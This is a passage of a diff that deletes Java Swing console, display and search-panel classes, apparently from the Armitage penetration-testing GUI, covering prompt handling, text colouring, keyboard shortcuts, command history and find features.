|
||||||
if (component == console || component == prompt) {
|
|
||||||
component.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
component.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (component instanceof JTextComponent) {
|
|
||||||
JTextComponent tcomponent = (JTextComponent)component;
|
|
||||||
tcomponent.setCaretColor(foreground.brighter());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getPromptText() {
|
|
||||||
return prompt.getText();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected boolean promptLock = false;
|
|
||||||
|
|
||||||
/* this function is not thread safe */
|
|
||||||
public void setPrompt(String text) {
|
|
||||||
String bad = "\ufffd\ufffd";
|
|
||||||
if (text.equals(bad) || text.equals("null")) {
|
|
||||||
colors.set(prompt, fixText(defaultPrompt));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
defaultPrompt = text;
|
|
||||||
colors.set(prompt, fixText(text));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/** updates the prompt. This is a thread-safe funtion */
|
|
||||||
public void updatePrompt(final String _prompt) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
setPrompt(_prompt);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
if (!promptLock)
|
|
||||||
setPrompt(_prompt);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static class Replacements {
|
|
||||||
public Pattern original;
|
|
||||||
public String replacer;
|
|
||||||
|
|
||||||
public Replacements(String o, String r) {
|
|
||||||
original = Pattern.compile(o);
|
|
||||||
replacer = r;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setStyle(String text) {
|
|
||||||
String lines[] = text.trim().split("\n");
|
|
||||||
colorme = new Replacements[lines.length];
|
|
||||||
for (int x = 0; x < lines.length; x++) {
|
|
||||||
String ab[] = lines[x].split("\\t+");
|
|
||||||
if (ab.length == 2) {
|
|
||||||
ab[1] = ab[1].replace("\\c", Colors.color + "");
|
|
||||||
ab[1] = ab[1].replace("\\o", Colors.cancel + "");
|
|
||||||
ab[1] = ab[1].replace("\\u", Colors.underline + "");
|
|
||||||
colorme[x] = new Replacements(ab[0], ab[1]);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
System.err.println(lines[x] + "<-- didn't split right:" + ab.length);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Replacements colorme[] = null;
|
|
||||||
|
|
||||||
protected String fixText(String text) {
|
|
||||||
if (colorme == null)
|
|
||||||
return text;
|
|
||||||
|
|
||||||
StringBuffer result = new StringBuffer();
|
|
||||||
String[] lines = text.split("(?<=\\n)");
|
|
||||||
|
|
||||||
for (int x = 0; x < lines.length; x++) {
|
|
||||||
String temp = lines[x];
|
|
||||||
for (int y = 0; y < colorme.length; y++) {
|
|
||||||
if (colorme[y] != null)
|
|
||||||
temp = colorme[y].original.matcher(temp).replaceFirst(colorme[y].replacer);
|
|
||||||
}
|
|
||||||
result.append(temp);
|
|
||||||
}
|
|
||||||
return result.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void appendToConsole(String _text) {
|
|
||||||
_text = fixText(_text);
|
|
||||||
if (_text.length() == 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
if (_text.endsWith("\n") || _text.endsWith("\r")) {
|
|
||||||
if (!promptLock) {
|
|
||||||
colors.append(console, _text);
|
|
||||||
if (log != null)
|
|
||||||
log.print(colors.strip(_text));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
colors.append(console, prompt.getText());
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!_text.startsWith(prompt.getText()))
|
|
||||||
promptLock = false;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
int breakp = _text.lastIndexOf("\n");
|
|
||||||
|
|
||||||
if (breakp != -1) {
|
|
||||||
colors.append(console, _text.substring(0, breakp + 1));
|
|
||||||
updatePrompt(_text.substring(breakp + 1) + " ");
|
|
||||||
if (log != null)
|
|
||||||
log.print(colors.strip(_text.substring(0, breakp + 1)));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
updatePrompt(_text);
|
|
||||||
}
|
|
||||||
promptLock = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (console.getDocument().getLength() >= 1) {
|
|
||||||
console.setCaretPosition(console.getDocument().getLength() - 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/** appends the text. This is a thread-safe function */
|
|
||||||
public void append(final String _text) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
appendToConsole(_text);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
appendToConsole(_text);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/** clear the text. This is a thread-safe function */
|
|
||||||
public void clear() {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
console.setText("");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
console.setText("");
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected JPanel bottom = null;
|
|
||||||
|
|
||||||
/** call this to remove the input area */
|
|
||||||
public void noInput() {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
remove(bottom);
|
|
||||||
validate();
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
remove(bottom);
|
|
||||||
validate();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public Console() {
|
|
||||||
this(new Properties());
|
|
||||||
}
|
|
||||||
|
|
||||||
public Console(Properties display) {
|
|
||||||
this.display = display;
|
|
||||||
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
|
||||||
|
|
||||||
setLayout(new BorderLayout());
|
|
||||||
setBorder(new EmptyBorder(2, 2, 2, 2));
|
|
||||||
|
|
||||||
/* init the console */
|
|
||||||
|
|
||||||
console = new JTextPane();
|
|
||||||
console.setEditable(false);
|
|
||||||
//console.setLineWrap(true);
|
|
||||||
console.addFocusListener(this);
|
|
||||||
|
|
||||||
JScrollPane scroll = new JScrollPane(
|
|
||||||
console,
|
|
||||||
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
|
|
||||||
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
|
|
||||||
|
|
||||||
add(scroll, BorderLayout.CENTER);
|
|
||||||
|
|
||||||
/* init the prompt */
|
|
||||||
|
|
||||||
prompt = new JTextPane();
|
|
||||||
prompt.setEditable(false);
|
|
||||||
|
|
||||||
/* init the input */
|
|
||||||
|
|
||||||
input = new JTextField();
|
|
||||||
|
|
||||||
/* gymnastics because Java shares a static keymap among all textfields by default... grrr */
|
|
||||||
|
|
||||||
input.setKeymap(JTextField.addKeymap(null, input.getKeymap()));
|
|
||||||
|
|
||||||
/* handle the popup menu */
|
|
||||||
|
|
||||||
input.addMouseListener(new MouseAdapter() {
|
|
||||||
public void checkEvent(MouseEvent e) {
|
|
||||||
if (e.isPopupTrigger()) {
|
|
||||||
getPopupMenu((JTextComponent)e.getSource()).show((JComponent)e.getSource(), e.getX(), e.getY());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void mouseClicked(MouseEvent e) { checkEvent(e); }
|
|
||||||
public void mousePressed(MouseEvent e) { checkEvent(e); }
|
|
||||||
public void mouseReleased(MouseEvent e) { checkEvent(e); }
|
|
||||||
});
|
|
||||||
|
|
||||||
/* do this so I can bind the Tab key */
|
|
||||||
|
|
||||||
input.setFocusTraversalKeys(KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, new HashSet());
|
|
||||||
input.setFocusTraversalKeys(KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS, new HashSet());
|
|
||||||
input.setFocusTraversalKeys(KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS, new HashSet());
|
|
||||||
|
|
||||||
/* bottom */
|
|
||||||
|
|
||||||
bottom = new JPanel();
|
|
||||||
bottom.setLayout(new BorderLayout());
|
|
||||||
|
|
||||||
bottom.add(input, BorderLayout.CENTER);
|
|
||||||
bottom.add(prompt, BorderLayout.WEST);
|
|
||||||
|
|
||||||
add(bottom, BorderLayout.SOUTH);
|
|
||||||
|
|
||||||
/* keep track of components that we want to make pretty */
|
|
||||||
|
|
||||||
components.add(input);
|
|
||||||
components.add(console);
|
|
||||||
components.add(scroll);
|
|
||||||
components.add(prompt);
|
|
||||||
components.add(bottom);
|
|
||||||
components.add(this);
|
|
||||||
|
|
||||||
updateComponentLooks();
|
|
||||||
|
|
||||||
/* add keyboard shortcuts */
|
|
||||||
|
|
||||||
/* Alt+K - clear screen */
|
|
||||||
addActionForKeySetting("console.clear_screen.shortcut", "ctrl K", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
console.setText("");
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
/* Ctrl+A - select all */
|
|
||||||
addActionForKeySetting("console.select_all.shortcut", "ctrl A", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
console.requestFocus();
|
|
||||||
console.selectAll();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
/* Escape - clear input buffer */
|
|
||||||
addActionForKeySetting("console.clear_buffer.shortcut", "ESCAPE", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
input.setText("");
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
setupFindShortcutFeature();
|
|
||||||
setupPageShortcutFeature();
|
|
||||||
setupFontShortcutFeature();
|
|
||||||
setupHistoryFeature();
|
|
||||||
|
|
||||||
/* setup our word click listener */
|
|
||||||
clickl = new ClickListener(this);
|
|
||||||
console.addMouseListener(clickl);
|
|
||||||
|
|
||||||
/* work-around for Nimbus L&F */
|
|
||||||
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
|
||||||
console.setBackground(new Color(0,0,0,0));
|
|
||||||
prompt.setBackground(new Color(0,0,0,0));
|
|
||||||
scroll.getViewport().setBackground(background);
|
|
||||||
console.setOpaque(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
public JPopupMenu getPopupMenu(final JTextComponent _component) {
|
|
||||||
JPopupMenu menu = new JPopupMenu();
|
|
||||||
|
|
||||||
JMenuItem cut = new JMenuItem("Cut", 'C');
|
|
||||||
JMenuItem copy = new JMenuItem("Copy", 'o');
|
|
||||||
JMenuItem paste = new JMenuItem("Paste", 'P');
|
|
||||||
JMenuItem clear = new JMenuItem("Clear", 'l');
|
|
||||||
|
|
||||||
if (_component.isEditable())
|
|
||||||
menu.add(cut);
|
|
||||||
|
|
||||||
menu.add(copy);
|
|
||||||
menu.add(paste);
|
|
||||||
menu.add(clear);
|
|
||||||
|
|
||||||
cut.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
_component.cut();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
copy.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
_component.copy();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
cut.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
_component.cut();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
paste.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
input.paste();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
clear.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
_component.setText("");
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
return menu;
|
|
||||||
}
|
|
||||||
|
|
||||||
private void setupFindShortcutFeature() {
|
|
||||||
final Properties myDisplay = display;
|
|
||||||
final Console myConsole = this;
|
|
||||||
|
|
||||||
addActionForKeySetting("console.find.shortcut", "ctrl pressed F", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
Color highlight = Color.decode(myDisplay.getProperty("console.highlight.color", "#0000cc"));
|
|
||||||
|
|
||||||
final SearchPanel search = new SearchPanel(console, highlight);
|
|
||||||
final JPanel north = new JPanel();
|
|
||||||
|
|
||||||
JButton goaway = new JButton("X ");
|
|
||||||
SearchPanel.removeBorderFromButton(goaway);
|
|
||||||
|
|
||||||
goaway.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
myConsole.remove(north);
|
|
||||||
myConsole.validate();
|
|
||||||
search.clear();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
north.setLayout(new BorderLayout());
|
|
||||||
north.add(search, BorderLayout.CENTER);
|
|
||||||
north.add(goaway, BorderLayout.EAST);
|
|
||||||
|
|
||||||
myConsole.add(north, BorderLayout.NORTH);
|
|
||||||
myConsole.validate();
|
|
||||||
|
|
||||||
search.requestFocusInWindow();
|
|
||||||
search.requestFocus();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
private void setupFontShortcutFeature() {
|
|
||||||
addActionForKeySetting("console.font_size_plus.shortcut", "ctrl EQUALS", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
changeFontSize(1.0f);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
addActionForKeySetting("console.font_size_minus.shortcut", "ctrl MINUS", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
changeFontSize(-1.0f);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
/* Ctrl+0 - reset the font to the default size */
|
|
||||||
addActionForKeySetting("console.font_size_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
|
||||||
updateComponentLooks();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
private void setupPageShortcutFeature() {
|
|
||||||
addActionForKeySetting("console.page_up.shortcut", "pressed PAGE_UP", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
Rectangle visible = new Rectangle(console.getVisibleRect());
|
|
||||||
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() - (visible.getHeight() / 2) ), 1, 1);
|
|
||||||
|
|
||||||
if (scrollme.getY() <= 0) {
|
|
||||||
visible.setLocation(0, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
console.scrollRectToVisible(scrollme);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
addActionForKeySetting("console.page_down.shortcut", "pressed PAGE_DOWN", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
Rectangle visible = new Rectangle(console.getVisibleRect());
|
|
||||||
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() + visible.getHeight() + (visible.getHeight() / 2) ), 1, 1);
|
|
||||||
|
|
||||||
if (scrollme.getY() >= console.getHeight()) {
|
|
||||||
visible.setLocation(0, console.getHeight());
|
|
||||||
}
|
|
||||||
|
|
||||||
console.scrollRectToVisible(scrollme);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/* handle the keyboard history stuff */
|
|
||||||
private void setupHistoryFeature() {
|
|
||||||
input.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
if (!"".equals(ev.getActionCommand()))
|
|
||||||
history.add(ev.getActionCommand());
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
addActionForKeySetting("console.history_previous.shortcut", "UP", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
if (history.hasPrevious()) {
|
|
||||||
input.setText((String)history.previous());
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
input.setText("");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
addActionForKeySetting("console.history_next.shortcut", "DOWN", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
if (history.hasNext()) {
|
|
||||||
input.setText((String)history.next());
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
input.setText("");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
private void changeFontSize(float difference) {
|
|
||||||
consoleFont = consoleFont.deriveFont(consoleFont.getSize2D() + difference);
|
|
||||||
updateComponentLooks();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addActionForKeyStroke(KeyStroke key, Action action) {
|
|
||||||
input.getKeymap().addActionForKeyStroke(key, action);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addActionForKey(String key, Action action) {
|
|
||||||
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addActionForKeySetting(String key, String dvalue, Action action) {
|
|
||||||
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
|
|
||||||
if (temp != null) {
|
|
||||||
addActionForKeyStroke(temp, action);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* focus listener for our input thing */
|
|
||||||
|
|
||||||
public void focusGained(FocusEvent ev) {
|
|
||||||
if (!ev.isTemporary() && ev.getComponent() == console) {
|
|
||||||
/* this is a work-around for Windows where the user can't highlight
|
|
||||||
text because of this attempt to get focus back to the input area */
|
|
||||||
if ((System.getProperty("os.name") + "").indexOf("Windows") == -1 && (System.getProperty("os.name") + "").indexOf("Mac") == -1)
|
|
||||||
input.requestFocusInWindow();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean requestFocusInWindow() {
|
|
||||||
return input.requestFocusInWindow();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void focusLost(FocusEvent ev) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,9 +0,0 @@
|
||||||
package console;
|
|
||||||
|
|
||||||
import java.awt.event.MouseEvent;
|
|
||||||
|
|
||||||
/** an interface to accept a clicked on word and a mouse event... it's up to the implementor to decide
|
|
||||||
what should happen with this magical information */
|
|
||||||
public interface ConsolePopup {
|
|
||||||
public void showPopup(String word, MouseEvent ev);
|
|
||||||
}
|
|
|
@ -1,255 +0,0 @@
|
||||||
package console;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.border.*;
|
|
||||||
import javax.swing.text.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import java.io.PrintStream;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/** A generic multi-feature console for use in the Armitage network attack tool */
|
|
||||||
public class Display extends JPanel {
|
|
||||||
protected JTextPane console;
|
|
||||||
protected Properties display;
|
|
||||||
protected Font consoleFont;
|
|
||||||
protected Colors colors;
|
|
||||||
|
|
||||||
protected LinkedList components = new LinkedList();
|
|
||||||
|
|
||||||
private void updateComponentLooks() {
|
|
||||||
colors = new Colors(display);
|
|
||||||
|
|
||||||
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
|
|
||||||
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
|
||||||
|
|
||||||
Iterator i = components.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
JComponent component = (JComponent)i.next();
|
|
||||||
if (component == console)
|
|
||||||
component.setOpaque(false);
|
|
||||||
else
|
|
||||||
component.setBackground(background);
|
|
||||||
component.setForeground(foreground);
|
|
||||||
component.setFont(consoleFont);
|
|
||||||
|
|
||||||
if (component == console) {
|
|
||||||
component.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
component.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (component instanceof JTextComponent) {
|
|
||||||
JTextComponent tcomponent = (JTextComponent)component;
|
|
||||||
tcomponent.setCaretColor(foreground.brighter());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void append(final String text) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
_append(text);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
_append(text);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void _append(String text) {
|
|
||||||
Rectangle r = console.getVisibleRect();
|
|
||||||
colors.append(console, text);
|
|
||||||
console.scrollRectToVisible(r);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setText(final String _text) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
console.setText(_text);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
console.setText(_text);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void clear() {
|
|
||||||
setText("");
|
|
||||||
}
|
|
||||||
|
|
||||||
public Display() {
|
|
||||||
this(new Properties());
|
|
||||||
}
|
|
||||||
|
|
||||||
public Display(Properties display) {
|
|
||||||
this.display = display;
|
|
||||||
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
|
||||||
|
|
||||||
setLayout(new BorderLayout());
|
|
||||||
setBorder(new EmptyBorder(2, 2, 2, 2));
|
|
||||||
|
|
||||||
/* init the console */
|
|
||||||
|
|
||||||
console = new JTextPane();
|
|
||||||
console.setEditable(false);
|
|
||||||
//console.setLineWrap(true);
|
|
||||||
|
|
||||||
JScrollPane scroll = new JScrollPane(
|
|
||||||
console,
|
|
||||||
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
|
|
||||||
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
|
|
||||||
|
|
||||||
add(scroll, BorderLayout.CENTER);
|
|
||||||
|
|
||||||
components.add(console);
|
|
||||||
components.add(scroll);
|
|
||||||
components.add(this);
|
|
||||||
|
|
||||||
updateComponentLooks();
|
|
||||||
|
|
||||||
/* right-click, Copy menu, for the console */
|
|
||||||
new ui.CopyPopup(console);
|
|
||||||
|
|
||||||
/* add keyboard shortcuts */
|
|
||||||
|
|
||||||
/* Alt+K - clear screen */
|
|
||||||
addActionForKeySetting("console.clear_screen.shortcut", "ctrl K", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
console.setText("");
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
/* Ctrl+A - select all */
|
|
||||||
addActionForKeySetting("console.select_all.shortcut", "ctrl A", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
console.requestFocus();
|
|
||||||
console.selectAll();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
setupFindShortcutFeature();
|
|
||||||
setupPageShortcutFeature();
|
|
||||||
setupFontShortcutFeature();
|
|
||||||
|
|
||||||
/* work-around for Nimbus L&F */
|
|
||||||
console.setBackground(new Color(0,0,0,0));
|
|
||||||
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
|
||||||
scroll.getViewport().setBackground(background);
|
|
||||||
console.setOpaque(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
private void setupFindShortcutFeature() {
|
|
||||||
final Properties myDisplay = display;
|
|
||||||
final Display myConsole = this;
|
|
||||||
|
|
||||||
addActionForKeySetting("console.find.shortcut", "ctrl pressed F", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
Color highlight = Color.decode(myDisplay.getProperty("console.highlight.color", "#0000cc"));
|
|
||||||
|
|
||||||
final SearchPanel search = new SearchPanel(console, highlight);
|
|
||||||
final JPanel north = new JPanel();
|
|
||||||
|
|
||||||
JButton goaway = new JButton("X ");
|
|
||||||
SearchPanel.removeBorderFromButton(goaway);
|
|
||||||
|
|
||||||
goaway.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
myConsole.remove(north);
|
|
||||||
myConsole.validate();
|
|
||||||
search.clear();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
north.setLayout(new BorderLayout());
|
|
||||||
north.add(search, BorderLayout.CENTER);
|
|
||||||
north.add(goaway, BorderLayout.EAST);
|
|
||||||
|
|
||||||
myConsole.add(north, BorderLayout.NORTH);
|
|
||||||
myConsole.validate();
|
|
||||||
|
|
||||||
search.requestFocusInWindow();
|
|
||||||
search.requestFocus();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
private void setupFontShortcutFeature() {
|
|
||||||
addActionForKeySetting("console.font_size_plus.shortcut", "ctrl EQUALS", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
changeFontSize(1.0f);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
addActionForKeySetting("console.font_size_minus.shortcut", "ctrl MINUS", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
changeFontSize(-1.0f);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
/* Ctrl+0 - reset the font to the default size */
|
|
||||||
addActionForKeySetting("console.font_size_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
|
||||||
updateComponentLooks();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
private void setupPageShortcutFeature() {
|
|
||||||
addActionForKeySetting("console.page_up.shortcut", "pressed PAGE_UP", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
Rectangle visible = new Rectangle(console.getVisibleRect());
|
|
||||||
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() - (visible.getHeight() / 2) ), 1, 1);
|
|
||||||
|
|
||||||
if (scrollme.getY() <= 0) {
|
|
||||||
visible.setLocation(0, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
console.scrollRectToVisible(scrollme);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
addActionForKeySetting("console.page_down.shortcut", "pressed PAGE_DOWN", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
Rectangle visible = new Rectangle(console.getVisibleRect());
|
|
||||||
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() + visible.getHeight() + (visible.getHeight() / 2) ), 1, 1);
|
|
||||||
|
|
||||||
if (scrollme.getY() >= console.getHeight()) {
|
|
||||||
visible.setLocation(0, console.getHeight());
|
|
||||||
}
|
|
||||||
|
|
||||||
console.scrollRectToVisible(scrollme);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
private void changeFontSize(float difference) {
|
|
||||||
consoleFont = consoleFont.deriveFont(consoleFont.getSize2D() + difference);
|
|
||||||
updateComponentLooks();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addActionForKeyStroke(KeyStroke key, Action action) {
|
|
||||||
console.getKeymap().addActionForKeyStroke(key, action);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addActionForKey(String key, Action action) {
|
|
||||||
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addActionForKeySetting(String key, String dvalue, Action action) {
|
|
||||||
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
|
|
||||||
if (temp != null) {
|
|
||||||
addActionForKeyStroke(temp, action);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,160 +0,0 @@
|
||||||
package console;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.border.*;
|
|
||||||
import javax.swing.text.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/** a search panel for use with a JTextComponent */
|
|
||||||
public class SearchPanel extends JPanel implements ActionListener {
|
|
||||||
protected JTextField search = null;
|
|
||||||
protected JLabel status = null;
|
|
||||||
protected JTextComponent component = null;
|
|
||||||
protected int index = 0;
|
|
||||||
protected Color highlight = null;
|
|
||||||
|
|
||||||
public void actionPerformed(ActionEvent event) {
|
|
||||||
if (event.getActionCommand().equals(">")) {
|
|
||||||
index++;
|
|
